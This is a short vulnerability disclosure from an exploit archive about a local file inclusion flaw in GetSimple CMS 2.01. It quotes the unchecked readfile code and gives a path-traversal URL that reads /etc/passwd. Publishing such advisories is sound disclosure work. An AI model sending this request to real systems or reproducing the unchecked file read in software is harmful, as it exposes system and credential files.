GetSimple version 2.01 suffers from a local file inclusion vulnerability.
d0b0f4cc28206d2ad99e6c1cf5d156238b243833e3511e2c00293f1675b6e2b7# Exploit Title: GetSimple 2.01 LFI
# Date: 4/5/2010
# Author: Batch
# Software Link: http://www.box.net/get-simple
# Version: 2.01
#Special Conditions: Must be admin.
# Code :
...
# get file
if (file_exists($_GET['file'])) {
readfile($_GET['file'], 'r');
}
exit;
...
http://localhost/GetSimple_2.01/admin/download.php?file=../../../../../etc/passwd
#-Batch
#ryan1918.com
#Everyone else.
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed